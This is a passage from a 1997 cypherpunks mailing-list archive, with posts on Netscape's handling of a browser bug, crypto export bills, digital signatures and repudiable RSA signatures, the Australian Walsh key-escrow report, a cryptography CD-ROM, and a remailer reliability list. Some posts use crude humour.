use of their browser leaves you open to violation of your privacy
and security? Corporations are not expected to show concern about
keeping their customers well-informed in regard to problems that 
arise with their product--they are expected to pretend, as much
as possible, that problems don't exist (even if it may result in
disastrous consequences for the customers who foolishly trust
the company to act with integrity and professionalism).

  Netscape software is my browser of choice. I like the product,
I like the company, and I like what I know of the people involved
in the company.
  Despite these facts, however, I recognize that reality is merely
a shallow reflection of classic Hollywood movies, and "Invasion
of the Body Snatchers" is currently playing at the Netscape cinema
complex.
  You may have already seen this movie, at your own corporate
cinema, so you know how the plot goes... You wake up one morning
and realize that behind the glazed eyes of your formerly human
co-workers, lurks the alien energy of a communal corporate soul.

  The company spokesperson (who has two cute kids and a dog that
are always a hit at the company picnic) has turned into an alien
life-form which is telling the press and public that the chemical
spill near the high-school has nothing to do with the hands that
are now growing out of the students' foreheads.
  The company president (who risked his job to support a decent
employee health-plan against the investor's wishes) begins to
speak about a "ten year study" to determine why 20% of the
company employees develop a rare form of cancer every year.
  Your best friend at the company changes the subject when you
mention the growing number of the company's customers who seem
to have an extra ear growing on their forearm. You can tell
that your best friend is looking into your eyes and trying to
discern if you are one of "them."

  A twenty-dollar street hooker will sometimes have time to join
you for coffee and a burger at the conclusion of a business
transaction, but a high-priced call-girl invariably recognizes
the danger of true personal contact adversely affecting future
cash flow.
  For the same reason, the corporate legal team would rather
discuss the responsibility for your failing health in a sterile
boardroom, than during dinner at your house with the whole
family present.

  It is probably in Netscape's best short-term financial interest
to downplay the full implications of the "bug" in their software,
as well as avoiding revealing the true reasons for this "bug"
existing in the first place. However, I would much rather visit
their website and see a big, red "Warning!!!" sign flashing at
the top, with a pointer to full information about the nature
and effect of the "bug," as well as disclosure of facts that
would allow me to judge what level of trust I should use in the
future in regard to the company and their products.
  After all, in terms of security, we can consider ourself to
be "sleeping" with those whose software we use. If it appears
that they are avoiding being fully honest about whether or not
they are practicing "safe software" in the best interests of
both themself and their "Johns," then perhaps we should think
about changing our "sleeping" habits.

  The bottom line is that it does not reflect well on Netscape
to have their customers and/or software users checking with the
members of mailing lists (and the checkout clerk at the local
QuickMart) to find out if there is any chance that they may be
able to use Netscape's product safely in the future.
  I did a quick review of the Netscape documentation and found
it gives no indication that users should inquire at the local
QuickMart for information about problems and bug fixes for
their products.

TruthMonger
~.~.~.~.~.~
DISCLAIMER:  I am not your hooker; you are not my John.
             Accordingly, the above is *NOT* illegal advice.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 19:01:58 +0800
To: cypherpunks@toad.com
Subject: Re: CIA's Manual on Assassination Politics
Message-ID: <199706291046.DAA21950@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> We are trading away our liberty for bullshit assurances of safety,
> security, and protection from the Big Bad Wolf. (*)
> 
> (* And of course the restrictions on publications of various items are
> really designed to protect Those in Power; thus has it always been, thus
> shall it always be.)

Rapist: "I'm using a condom for _your_ protection."
Victim: "Is that why you stole _my_ money to buy it?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 21:36:19 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <33B5AB2C.D94F2237@popmail.firn.edu>
Message-ID: <J3629D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



bennett_t1@popmail.firn.edu writes:
                        ^^^
> Huge Cajones Remailer wrote:
>
> > >I want on the mailing list please
> > >
> > >
> > haha
>
>    Yes, this is funny.  I rarely get to see people of this intelligence.

You'd see more if you taught.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 29 Jun 1997 20:23:51 +0800
To: cypherpunks@toad.com
Subject: Details of HR 666
Message-ID: <199706291210.IAA22794@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



>   Under clause 0 of rule XYZ, the following action was taken by the
> Speaker:
> 
>        H.R. 666. A bill to amend title 0, United States Code, to
>      affirm the rights of U.S. persons to breathe the air around
>      them and to relax export controls on wind; with an
>      amendment; referred to the Committees on Commerce, National
>      Security, and the Permanent Select Committee on intelligence
>      for a period ending not later than September 5, 1997, for
>      consideration of such provisions of the bill and amendment
>      reported by the Committee on the Judiciary as fall within the
>      jurisdiction of those committees pursuant to clause 0(e) and
>      (k), rule XYZ and rule XLVIIIX, respectively.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 30 Jun 1997 13:52:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
Message-ID: <v03020938afdc133f71f6@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:13 pm -0400 on 6/28/97, Tim May wrote:

   Kent (With a Brick, Mr.) Chrispin emetted:
> >Governments have devalued currencies many many times in the past
> >without the need of key escrow...key escrow is an independent issue.
>
> Sure, but one of the potential advantages of strong crypto is the
> oft-discussed "denationalization of money." Leading bankers are beginning
> to see the light on this.

I wonder if Mr. Chrispin has ever heard of George Soros, or does the
adventures of St. George and the BofE dragon smack too much of, horrors,
capitalism? (Modulo Soros' ocassional self-flagellatory Atlantic article,
of course. Knight-errants are all into that mortifying the flesh stuff. Or,
maybe he's just trying to hedge his bets or something...)


Anyway, on the same note, and, as a result of the Wired article this month
on FC97 (I finally saw it, and it's not as bad as I thought it was going to
be. I guess as long as they spell my name right...), I just got request for
an interview from a staff writer from Forbes. He's writing on this very
thing, the macroeconomic effect of transanational digital cash. His very
words to me were:

> An editor of mine liked the story so much he told
> me to expand it (a.k.a. totally rewrite it) looking at whether or not a
> boom in the use of electronic money might not render governmental
> monetary control irrelevant as well. Looking at the issue from that
> angle is convincing me that the answer is yes, and that the real story
> here is about crypto.

He's going to interview me on Tuesday, after the DCSB meeting.

God help us all. :-).

When I replied to him, I gave him the whole nine yards, poor guy. Hope I
didn't scare him off: financial cryptography, the ubiquitous geodesic
economy, cryptomoney, etc. (Including, of course, the, um, "excrable"
e$yllogism. ;-)) I also gave him a whole passle of people to talk to about
it, including David Friedman, who reported on another list lately that he's
brought father Milton around to believing in the inefficiency of central
banking compared to free banking, particularly in a world of ubiquitous
internetworks and financial cryptography. I also sent him on to Tatsuo
Tanaka, who did a presentation about a year ago at DCSB on, you guessed it,
the transnationality of digital cash. :-). (Of course, Tatsuo's thinking
then was that some global run or another on free$banks would end in the
creation of a central bank of cypherspace, but, maybe, he's *much* better
now. :-))


I didn't include you on that list, Tim, because I remember you saying
something about not being bothered with such reporter.cruft anymore, and
how coupling financial cryptography with strong cryptography in the eyes of
the press and the financial establishment didn't make any sense, but, in
case you want him to misquote us *both* and scare all those capitalist
tools out there half to death, let me know and I'll send him your way.

Or, maybe such glad tidings will make them all want to help us dance a jig
on the eventual grave of the nation-state, you never know. The rich and
hoity-toity are very different from you and me. Well, *me*, anyway...

(Did I ever tell you the story about how my old man built a sailboat on St.
Thomas without ever having really sailed much, and, the boat was so fast
that it won *lots* of silver, so much silver that he made the New York Post
(I think) about it, and, having read that article, Malcom Forbes came down
to the islands that fall, and invited Pop to hang out with him on
Highlander for a few days?

No?

Well, my old man built a sailboat on St. Thomas, you see,...)


<Tune: "America the beautiful"> "My country tis of thee, land of
plutography..." </T>

Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 29 Jun 1997 23:44:13 +0800
To: cypherpunks@Algebra.COM
Subject: Digital Signatures & THE LAW???
Message-ID: <199706291535.KAA05045@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Has there been any concideration for the difference between a digital
signature that is used only for authentication and one that is legally
binding??

I would hate for these Digital Signature Laws make every e-mail message I
sent a legally binding document. :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7aBbI9Co1n+aLhhAQHsCwP/dUQ6jixcfYCkLLFkZomM5gzCysRjnlr3
rGjXMMDyVZ2OQn2ZjSJ+TmrocbmZy2yNolBquRN0w0PjnGbC8k8ZCFxW8C4xHX9B
CBf7XNGijoFxi3DTVViTv/i+waLX6sfJM1fp9IpUe7Da5fOb6vqf0rXNDPwdVLIB
Sn0rJodgqho=
=+Bcp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 30 Jun 1997 02:04:08 +0800
To: coderpunks@toad.com
Subject: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



While reading the latest issue of Dr. Dobbs, I found something of interest...

Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
Price $99.95

Includes the following books:

-- Applied Cryptology, Cryptographic Protocols, and Computer Security
Models by Richard Demillo

-- Applied Cryptography: Protocols, Algorithms, and Source Code in C,
Second Edition by Bruce Schneier

-- Contemporary Cryptology: The Science of Information Integrity edited by
Gustavus J. Simmons

-- Cryptography and Data Security by Dourthy Denning

-- Cryptography: A New Dimension in Computer Data Security by Carl Meyer

-- Cryptography: Theory and Practice by Douglas Stinson

-- Handbook of Applied Cryptography by Paul C. Van Oorschot, Scott A.
Vanstone, and Alfred Menezes

-- Military Cryptanalysis, Volumes I-IV by William Friedman

-- "RSA Laboratories FAQ on Cryptography," "RSA Labratories Technical
Reports," "RSA Laboratories Security Bullitens," and "CryptoBytes Newsletter".

The CD-ROM also boasts having a search engine.  (No indication as to what
OS.  Probably Wintel only.)

It is supposed to be shipping in July.

It is only available to US customers.

Phone orders: 1-800-992-0549
E-mail: orders@mfi.com
Fax: 913-841-2624

Mail:
  Dr. Dobbs CD-ROM Library
  1601 West 23rd St, Ste. 200
  Lawrence, KS 66046-2703

[Disclaimer: I have nothing to do with Dr. Dobbs other than being a
subscriber.]

I plan on getting it as it has at least one book I have been planning on
buying that costs about what the CD-ROM runs...  I will tell people how
good it is when I get it.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 30 Jun 1997 13:29:47 +0800
To: geeman@best.com
Subject: Re: details of 6/26 action on HR 695??
Message-ID: <1.5.4.32.19970629150513.0068c8f0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



geeman@best.com wrote:

>Are these the same amendments from before, or new ones?

The H.R.695 amendments referred to in the Congressional Record 
appear to be the same ones described in House Report 105-108:

   http://jya.com/hr105-108.txt

If there are others they have not yet been published.

----------

>Congressional Record: June 26, 1997 (House)]
>[Page H4834]
>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
>[DOCID:cr26jn97-74]
>
> 
>                  REPORTED BILL SEQUENTIALLY REFERRED
>
>  Under clause 5 of rule X, the following action was taken by the 
>Speaker:
>
>       H.R. 695. A bill to amend title 18, United States Code, to 
>     affirm the rights of U.S. persons to use and sell encryption 
>     and to relax export controls on encryption; with an 
>     amendment; referred to the Committees on Commerce, National 
>     Security, and the Permanent Select Committee on intelligence 
>     for a period ending not later than September 5, 1997, for 
>     consideration of such provisions of the bill and amendment 
>     reported by the Committee on the Judiciary as fall within the 
>     jurisdiction of those committees pursuant to clause 1(e) and 
>     (k), rule X and rule XLVIII, respectively.
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "some days weren't there at all" <pandemic@hotmail.com>
Date: Mon, 30 Jun 1997 06:36:24 +0800
To: cypherpunks@toad.com
Subject: Re: Digital Signatures and the Law...
Message-ID: <33B6DD1F.378F@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



> Has there been any concideration for the difference between a digital
> signature that is used only for authentication and one that is legally
> binding??
	What's the difference? When I sign a contract, I'm simply giving notice
that I accept its terms and conditions.
 
What I write in snail mail, however, may also be used in a court of law
to show that I actually thought or wrote whatever it was I wrote. Why
would e-mail be any different? 

> I would hate for these Digital Signature Laws make every e-mail message I
> sent a legally binding document. :(

That's the rub about nailing down identity...there's no such thing as
plausible deniability anymore.

In a court of law, assuming you could prove to a judge and jury that
digi sigs establish identity beyond a reasonable doubt, I'd imagine
that  anything signed, law or no law, would be legally binding insofar
as you actually wrote it.

I think I'm missing something...?
---------------------
"Deities do not fall ten floors to the basement" - Willis
pandemic@hotmail.com   please contact for PGP public key.
http://www.skylink.net/~bigdaddy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 30 Jun 1997 06:28:33 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: <3.0.32.19970626233120.006c04f4@best.com>
Message-ID: <3.0.2.32.19970629151626.006e20f4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:41 AM 6/27/97 -0700, Tim May wrote:
>I also applaud what my local Congresscritterwoman says, and especially her
>quotation of the Dan Gillmor column from the local Silicon Valley
>newspaper. I saw this colum several days ago and was impressed, especially
>by the quote I include below.

Of course, after saying good things about the stupid
and offensive anti-encryption bill (applaud applaud),
she followed it up by reacting to the Supreme Court CDA decision
by announcing son-of-CDA, a bill to require ISPs to offer censorware.
Oh, well.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Mon, 30 Jun 1997 10:57:59 +0800
To: gnu@toad.com
Subject: Australian "Walsh" report exposes the hole in key escrow
Message-ID: <199706300237.TAA24136@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



This report was finally obtained (after suing the Australian government
under Freedom of Information laws) by Electronic Frontiers Australia.
I haven't seen it yet; this is the first I'd heard that it is released.

The first paragraph does its best to scare people, but the gist is all
correct:  if you escrow authentication keys, digital signatures don't work.
If you don't escrow authentication keys, then key escrow doesn't work.

	John Gilmore

Forwarded-by: Hal Abelson (I don't know the original source).
     
     By John Davidson 
     
     Governments will be forced to completely undermine the emerging global 
     electronic commerce system if they want to prevent it being used by 
     criminals and for tax evasion, one of Australia's leading data 
     security experts has warned. 
     
     Professor William Caelli, head of the school of data communications at 
     Queensland University of Technology, said yesterday that it was all 
     but technically impossible to satisfy the competing needs of law 
     enforcement and international trade. 
     
     The difficulty was in allowing encrypted data passing along the 
     Internet to be monitored by law enforcement agencies, while at the 
     same time giving legal status to the digital signatures that will 
     underpin electronic trade. 
     
     A suppressed government report into encryption, written by a former 
     deputy director-general of ASIO, Mr Gerard Walsh, has agreed with 
     Professor Caelli. 
     
     The Commonwealth should abandon as "doomed to failure" attempts to 
     control encryption by keeping a copy of the passwords, or keys, in 
     escrow, Mr Walsh told The Australian Financial Review yesterday. 
     
     The field of cryptography is generally divided into encryption, where 
     data is scrambled for confidentiality; and authentication, where an 
     electronic document is scrambled or signed to prove who it came from 
     for legal purposes. 
     
     Policy under consideration in Australia, the US and the UK calls for a 
     separation of the two key types, with law-enforcement agencies having 
     some sort of access to all encryption keys while individual's 
     authentication keys are kept strictly private. 
     
     It is widely accepted that escrowing authentication keys would render 
     them legally useless for signing documents. 
     
     "If you ever allow people to get near authentication keys you'll 
     corrupt the administration of justice," said Mr Walsh. 
     
     The problem facing governments, according to Professor Caelli, is that 
     it is technically impossible to separate the two key types, since they 
     are both just very long numbers. 
     
     The thinking with the most currency, known as "key tagging", involves 
     adding extra data to the start or end of a digital key to identify 
     what it would be used for. 
     
     But key tagging can't work in a PC environment, Professor Caelli 
     claims. PC operating systems don't have enough security to prevent 
     users from simply taking the tag off an authentication key and adding 
     it to an encryption key, thereby bypassing government attempts to 
     escrow all encryption keys. 
     
     If, as it was likely, a dual-key infrastructure proved impossible in a 
     PC world, governments would either have to escrow all keys, rendering 
     digital certification meaningless, or escrow no keys at all, rendering 
     data surveillance totally ineffectual, he said. 
     
     Mr Steve Orlowski, a leading Government expert on cryptography, 
     acknowledged that it was now impossible to build a secure dual-key 
     infrastructure, but said that it was "possible that someone could make 
     a breakthrough". 
     
     "We're encouraging research into that area so we'll be able to make 
     the distinction," he said. 
     
     The US National Institute of Standards and Technology recently made a 
     worldwide plea for cryptography algorithms that can be used for 
     authentication and not for encryption. 
     
     Mr Walsh's report, commissioned by the federal government to look into 
     how it must legislate to satisfy security and privacy needs in the 
     face of strong cryptography, has only now come to light following a 
     successful Freedom of Information action by Electronic Frontiers 
     Australia. 
     
     The 96 page report, Review of policy relating to encryption 
     technologies, was due to be published in October last year, and called 
     for a period of public discussion about cryptography issues. 
     
     However, it was never released, and was only made available to the EFA 
     this week with 20 paragraphs deleted. 
     
     A second report prepared at the same time but with specific 
     recommendations is still secret, however. 
     
     According to Mr Walsh, trying to put the lid on encryption with key 
     escrow would be "an exercise in futility" because it would miss the 
     very target it was intended to catch: organised crime, money 
     laundering operations and terrorists. 
     
     These groups would either refuse to escrow their keys, or simply embed 
     a further level of encryption in their messages, he said.
     
     He also said in the report that it would also be futile to try to 
     regulate the length of crypto keys on a nation-by-nation basis because 
     "the notion of fixed national borders is simply anachronistic" thanks 
     to the Internet. 
     
     "It's not in the interests of the community's rights to privacy, nor 
     the needs of the business community, to . . . limit the strength of 
     cryptography simply to catch the occasional minnow," he said. 
     
     Law enforcement considerations should not automatically leapfrog 
     privacy considerations, and the government would have to mount a 
     "damned strong argument" every time it wanted to access someone's 
     encryption keys, he said. 
     
     Mr Walsh said he was uncertain why his report had been suppressed, 
     given that anything that might have been controversial was restricted 
     to the secret report he also submitted. 
     
     "I wrote (the first report) in the clear expectation that it would be 
     publicly released," he said. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Mon, 30 Jun 1997 10:33:43 +0800
To: Alan Olsen <coderpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <v0300780bafdcc91fd725@[206.11.192.100]>
MIME-Version: 1.0
Content-Type: text/plain



I've been working on this one.  It looks like a really great deal.

The cost should be reasonable.  And I hope nobody posts the text, or the
publishers won't ever do it again.

At 12:56 PM -0500 6/29/97, Alan Olsen wrote:
>While reading the latest issue of Dr. Dobbs, I found something of interest...
>
>Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
>Price $99.95
>
>Includes the following books:
>
>-- Applied Cryptology, Cryptographic Protocols, and Computer Security
>Models by Richard Demillo
>
>-- Applied Cryptography: Protocols, Algorithms, and Source Code in C,
>Second Edition by Bruce Schneier
>
>-- Contemporary Cryptology: The Science of Information Integrity edited by
>Gustavus J. Simmons
>
>-- Cryptography and Data Security by Dourthy Denning
>
>-- Cryptography: A New Dimension in Computer Data Security by Carl Meyer
>
>-- Cryptography: Theory and Practice by Douglas Stinson
>
>-- Handbook of Applied Cryptography by Paul C. Van Oorschot, Scott A.
>Vanstone, and Alfred Menezes
>
>-- Military Cryptanalysis, Volumes I-IV by William Friedman
>
>-- "RSA Laboratories FAQ on Cryptography," "RSA Labratories Technical
>Reports," "RSA Laboratories Security Bullitens," and "CryptoBytes Newsletter".
>
>The CD-ROM also boasts having a search engine.  (No indication as to what
>OS.  Probably Wintel only.)
>
>It is supposed to be shipping in July.
>
>It is only available to US customers.
>
>Phone orders: 1-800-992-0549
>E-mail: orders@mfi.com
>Fax: 913-841-2624
>
>Mail:
>  Dr. Dobbs CD-ROM Library
>  1601 West 23rd St, Ste. 200
>  Lawrence, KS 66046-2703
>
>[Disclaimer: I have nothing to do with Dr. Dobbs other than being a
>subscriber.]
>
>I plan on getting it as it has at least one book I have been planning on
>buying that costs about what the CD-ROM runs...  I will tell people how
>good it is when I get it.

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier@counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 30 Jun 1997 07:18:16 +0800
To: whgiii@amaranth.com
Subject: repudiable signatures (was Re: Digital Signatures & THE LAW???)
In-Reply-To: <199706291535.KAA05045@mailhub.amaranth.com>
Message-ID: <199706292306.AAA00260@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgii@amaranth.com> writes:
> Has there been any concideration for the difference between a
> digital signature that is used only for authentication and one that
> is legally binding??
>
> I would hate for these Digital Signature Laws make every e-mail
> message I sent a legally binding document. :(

Not a complete solution, but one technical fix, if you're sending
e-mail to an individual, rather than a post to a group such as this is
to use repudiable signatures.

These work by ensuring that the recipient and only the recipient can
forge the signature.  As the recipient can forge the signature it
falls back to his word against yours, which is the situation without
signatures.  However he (the recipient) will be convinced that you
wrote the signed document, or at least as convinced as he is that
someone else hasn't covertly obtained a copy of his private key.

If you're using a repudiable signature, it won't hold up in court, or
at least it shouldn't, if you can get the jury to grok that.

Personally I can't see any reason for individuals not to use
repudiable signatures for email.  Email is generally regarded as
private, and to give someone a signed email allows them to not only
post your email which you may not want, but to undeniably prove that
you wrote it!


Mathematically an easy way to create deniable signatures with RSA is:

Alice sending Bob a signed email.  We want:

	( X ^ A_pub ) xor ( Y ^ B_pub ) = hash( message )

Alice chooses random Y, and computes X:

	X = [ ( Y ^ B_pub ) XOR hash( message ) ] ^ A_pri

Now the repudiable digital signature is X and Y.

To verify the signature the recipient checks that:

	X ^ A_pub XOR Y ^ B_pub = hash( message )

Repudation is possible because Bob could also produce that same
signature with knowledge of B_pri, for Bob X is a random number, and Y
is calculated:

	Y = [ ( X ^ A_pub ) XOR hash( message ) ] ^ B_pri

(In practice you would have to store X and Y in random order,
otherwise if the sender always comes first, it's no longer repudiable.
As a result to check the signature you may have to swap X and Y if the
signature fails first time).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 30 Jun 1997 07:18:15 +0800
To: alan@ctrl-alt-del.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <199706292309.AAA00265@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




> Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
> Price $99.95
>
> [juicy book list]
> 
> It is only available to US customers.

Bum!  Would anyone care to "remail" me one?  (I'll pay).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 30 Jun 1997 22:02:51 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199706301350.GAA27408@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 30 Jun 97 6:45:39 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config@weasel.owl.de             ++++++++++-+  1:32:04  99.98%
squirrel mix@squirrel.owl.de              ++++++++++-+  1:30:31  99.98%
jam      remailer@cypherpunks.ca           ****+*+**+*    15:41  99.89%
replay   remailer@replay.com              ****** +**+*     6:12  99.83%
reno     middleman@cyberpass.net          ++++ -.--+.-  5:33:46  99.72%
cyber    alias@alias.cyberpass.net        ******* **+*    13:41  99.37%
mix      mixmaster@remail.obscura.com     -.- ---.-*.-  7:57:51  99.03%
winsock  winsock@rigel.cyberpass.net      -------- -    7:15:22  97.91%
nym      config@nym.alias.net             ***###++##+#     4:58  97.29%
hidden   remailer@hidden.net              ######        4:44:03  40.46%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
